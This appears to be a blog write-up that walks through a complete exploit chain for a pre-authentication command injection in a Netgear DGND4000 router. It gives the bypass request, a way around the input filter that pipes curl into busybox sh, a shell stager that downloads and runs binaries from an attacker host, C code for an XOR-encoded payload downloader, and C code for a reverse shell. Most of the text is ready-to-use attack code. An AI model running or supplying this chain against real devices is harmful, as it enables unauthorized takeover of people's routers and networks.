Greetings to all, the following article is the second part of the previous one. This article explains the ins and outs of creating a complete sploit for the identified vulnerability (pre-auth RCE on router Netger DGND4000). I would not be so bold as to qualify this vulnerability as a new 0Day because I think that the whole planet has already used this router as a bot.

Let’s start from the previous POC:

GET /setup.cgi?foo=currentsetting.htm&next_file=diagping.htm&todo=ping_test&c4_IPAddr=127.0.0.1%20%26%26%20/bin/busybox%20echo%20POC_1
Host: X_1.X_1.X_1.X_1:8443
User-Agent: curl/7.82.0
Accept: */*

We have the authentication bypass:

foo=currentsetting.htm

And the payload:

c4_IPAddr=127.0.0.1 && /bin/busybox echo POC_1

After having carried out several tests, we realize three important points.

Explanations

PATH environment variable

The PATH environment variable contains only the current folder ./.

$ echo $PATH
./

Solution

We will have to specify all the paths in a non-relative way.

Input filtering

A “security” is “implemented” that prevents us from using the characters - and ; in our payloads. So we can’t use the options of binaries in the payloads. Moreover we can’t chain commands directly.

Solution

We can chain the commands in a conditional ways thanks to the && and || operators. As for the options to be passed as arguments to the binaries, two binaries that will be useful to us are present on the router:

  • /usr/sbin/curl
  • /bin/busybox

The compiled busybox present on the router embeds the sh tool. We will be able to use the following payload to bypass the rules set up:

c4_IPAddr=127.0.0.1 && /usr/sbin/curl STAGE_0_URL | /bin/busybox sh && /bin/busybox echo DONE

iptables

The iptables rules configured on the router prevent us from listening to new ports on the WAN interface.

Solution

Not wishing to play with iptables rules because it may involve the risk of losing our box, we will privilege the use of reverse connections (contrary to bind connections).

How it works

alt text

As seen in action:

Stage 0

File: requirements/stages/stage_0.sh

# Downloading stage 1.
/bin/busybox wget http://XXX.XXX.XXX.XXX:8000/requirements/stages/stage_1 -O /tmp/stage_1

# Sleepling a little bit.
/bin/busybox sleep 5

# Making stage 1 executable.
/bin/busybox chmod +x /tmp/stage_1

# Starting stage 1 (downloading stage 2).
/tmp/stage_1

# Sleepling a little bit.
/bin/busybox sleep 5

# Cleaning stage 1.
/bin/busybox rm /tmp/stage_1

# Making stage 2 executable.
/bin/busybox chmod 777 /tmp/stage_2

# Starting stage 2.
/tmp/stage_2 && /bin/busybox echo DONE

Stage 1

File: requirements/stages/stage_1.c

#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define KEY "eae97809dea7ae0a187962be13258f9d9d1629edec51a3cb4e5449724154cca70089b4e2c664cda522cf12acba464c50beccc5063609dc5a0116bf8d5a6b9f7c"
#define SIZE 1024


void xor(char *data, size_t length, char *key) {
    size_t key_len, i;
    key_len = strlen(key);

    for (i=0; i<length; ++i) {
        data[i] = data[i] ^ key[i % key_len];
    }
}

void write_file(int sockfd) {
    int n;
    FILE *fp;
    char buffer[SIZE];
    char *filename, *output;

    filename = "/tmp/stage_2";

    fp = fopen(filename, "w");
    if (fp == NULL) {
        printf("[x] Error in creating file %s.\n", filename);
        exit(-1);
    }

    while (1) {
        n = recv(sockfd, buffer, SIZE, 0);
        printf("%d\n", n);
        if (n <= 0) {
            break;
        }
        xor(buffer, n, KEY);
        fwrite(buffer, sizeof(char), n, fp);
        bzero(buffer, SIZE);
    }
}

int main(int argc, char **argv) {
    char *ip = "XXX.XXX.XXX.XXX";
    int port = 8001;

    int sockfd;
    struct sockaddr_in server_addr;
    socklen_t addr_size;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        printf("[x] Error in socket creation.\n");
        exit(1);
    }
    printf("[*] Client socket created.\n");

    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    server_addr.sin_addr.s_addr = inet_addr(ip);

    if (connect(sockfd, (struct sockaddr*)&server_addr, sizeof(server_addr)) < 0) {
        printf("[x] Error during connection.\n");
        exit(0);
    }
    else
        printf("[*] Connected ...\n");

    write_file(sockfd);

    close(sockfd);

    printf("[+] File written.\n");
    return 0;
}

Stage 2

File: requirements/stages/stage_2.c

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 8002;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("XXX.XXX.XXX.XXX");

    connect(sockt, (struct sockaddr *) &revsockaddr,
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;
}

Additional information

The architecture of the target is mips 32 big endian more commonly known as mips32 (as opposed to mipsel). During my tests I compiled the binaries using the uClibc. Moreover these are compiled in a static way and I striped them. From my memory I found the toolchain on this site https://toolchains.bootlin.com/releases_mips32.html.














I didn’t know you because we only met a few times but I understood by talking to you that incredible things can be achieved.

01010010 01001001 01010000 6a6c61626a